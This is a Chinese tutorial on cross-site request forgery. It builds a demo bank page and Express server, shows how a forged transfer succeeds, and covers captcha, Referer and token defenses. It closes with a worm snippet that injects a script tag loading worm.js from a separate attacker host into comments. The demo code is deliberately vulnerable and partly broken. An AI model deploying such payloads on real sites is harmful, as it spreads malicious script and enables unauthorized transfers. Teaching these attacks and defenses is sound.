# 二.CSRF
前言
CSRF 中文名为跨站请求伪造。原理即使攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑
# 1 跨站请求伪造
Cross Site Request Forgery 跨站请求伪造
用户 A 登录银行网站,登录成功后会设置 cookie 黑客诱导用户 A 登录到黑客的站点,然后会返回一个页面 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站 bank.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>我的银行</title>
<link
rel="stylesheet"
href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css"
/>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<p>
用户名
<span id="username"></span>
</p>
<p>
余额
<span id="money"></span>
</p>
</div>
<div class="panel-body">
<form onsubmit="transfer(event)">
<div class="form-group">
<label for="target">转账用户</label>
<input
id="target"
class="form-control"
placeholder="请输入的用户名"
/>
</div>
<div class="form-group">
<label for="amount">金额</label>
<input
id="amount"
class="form-control"
placeholder="请输入转账的金额"
/>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" />
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
$(function() {
$.get("/api/user").then((data) => {
console.log(data)
console.log(data.user.username)
if (data.code == 0) {
$("#username").html(data.user.username)
$("#money").html(data.user.money)
} else {
alert("用户未登录")
location.href = "/login.html"
}
})
})
function transfer(event) {
event.preventDefault()
let target = $("#target").val()
let amount = $("#amount").val()
$.post("/api/transfer", { target, amount }).then((data) => {
if (data.code == 0) {
alert("转账成功")
location.reload()
} else {
alert("用户未登录")
location.href = "/login.html"
}
})
}
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
app.get("/api/user", function(req, res) {
let { username } = userSessions[req.cookies.sessionId]
if (username) {
let user
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
user = users[i]
break
}
}
res.json({ code: 0, user })
} else {
res.json({ code: 1, error: "用户没有登录" })
}
})
app.post("/api/transfer", function(req, res) {
let { target, amount } = req.body
amount = isNaN(amount) ? 0 : Number(amount)
let { username } = userSessions[req.cookies.sessionId]
if (username) {
let user
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount
} else if (target == users[i].username) {
users[i].money += amount
}
}
res.json({ code: 0 })
} else {
res.json({ code: 1, error: "用户没有登录" })
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 2.防御
- 用户不知情 验证码 影响用户体验
- 跨站请求 使用 refer 验证 不可靠
- 参数伪造 token 最主流的防御 CSRF
# 2.1 验证码
server.js
var svgCaptcha = require("svg-captcha")
app.get("/api/captcha", function(req, res) {
let session = userSessions[req.cookies.sessionId]
if (session) {
var codeConfig = {
size: 5, // 验证码长度
ignoreChars: "0o1i", // 验证码字符中排除 0o1i
noise: 2, // 干扰线条的数量
height: 44,
}
var captcha = svgCaptcha.create(codeConfig)
session.captcha = captcha.text.toLowerCase() //存 session 用于验证接口获取文字码
res.send({ code: 0, captcha: captcha.data })
} else {
res.json({ code: 1, data: "没有该用户" })
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bank.html
<div class="form-group">
<label for="captcha" id="captcha"></label>
<input id="captcha" class="form-control" placeholder="请输入验证码">
</div>
$.get('/api/captcha').then(data => {
if (data.code == 0) {
$('#captcha').html(data.captcha);
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
# 2.2 refer 验证
let referer = req.headers["referer"]
if (/^https?:\/\/localhost:3000/.test(referer)) {
} else {
res.json({ code: 1, error: "referer不正确" })
}
1
2
3
4
5
2
3
4
5
# 2.3 token 验证
bank.html
function getClientToken() {
let result = document.cookie.match(/token=([^;]+)/)
return result ? result[1] : ""
}
function transfer(event) {
event.preventDefault()
let target = $("#target").val()
let amount = $("#amount").val()
let captcha = $("#captcha").val()
$.post("/api/transfer", {
target,
amount,
captcha,
clientToken: getClientToken(),
}).then((data) => {
if (data.code == 0) {
alert("转账成功")
location.reload()
} else {
alert("用户未登录")
location.href = "/login.html"
}
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
server.js
app.post("/api/transfer", function(req, res) {
// let referer = req.headers['referer'];
//if (/^https?:\/\/localhost:3000/.test(referer)) {
let { target, amount, clientToken, captcha } = req.body
amount = isNaN(amount) ? 0 : Number(amount)
let { username, token } = userSessions[req.cookies.sessionId]
if (username) {
if (clientToken == token) {
let user
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount
} else if (target == users[i].username) {
users[i].money += amount
}
}
res.json({ code: 0 })
} else {
res.json({ code: 1, error: "违法操作" })
}
} else {
res.json({ code: 1, error: "用户没有登录" })
}
//} else {
res.json({ code: 1, error: "referer 不正确" })
//}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 2.4 xss+csrf(蠕虫)
不断传播的 xss+csrf 攻击 worm.js
const attack = '<script src="http://localhost:3001/worm.js"></script>'
\$.post("/api/comments", { content: "haha" + attack })
1
2
2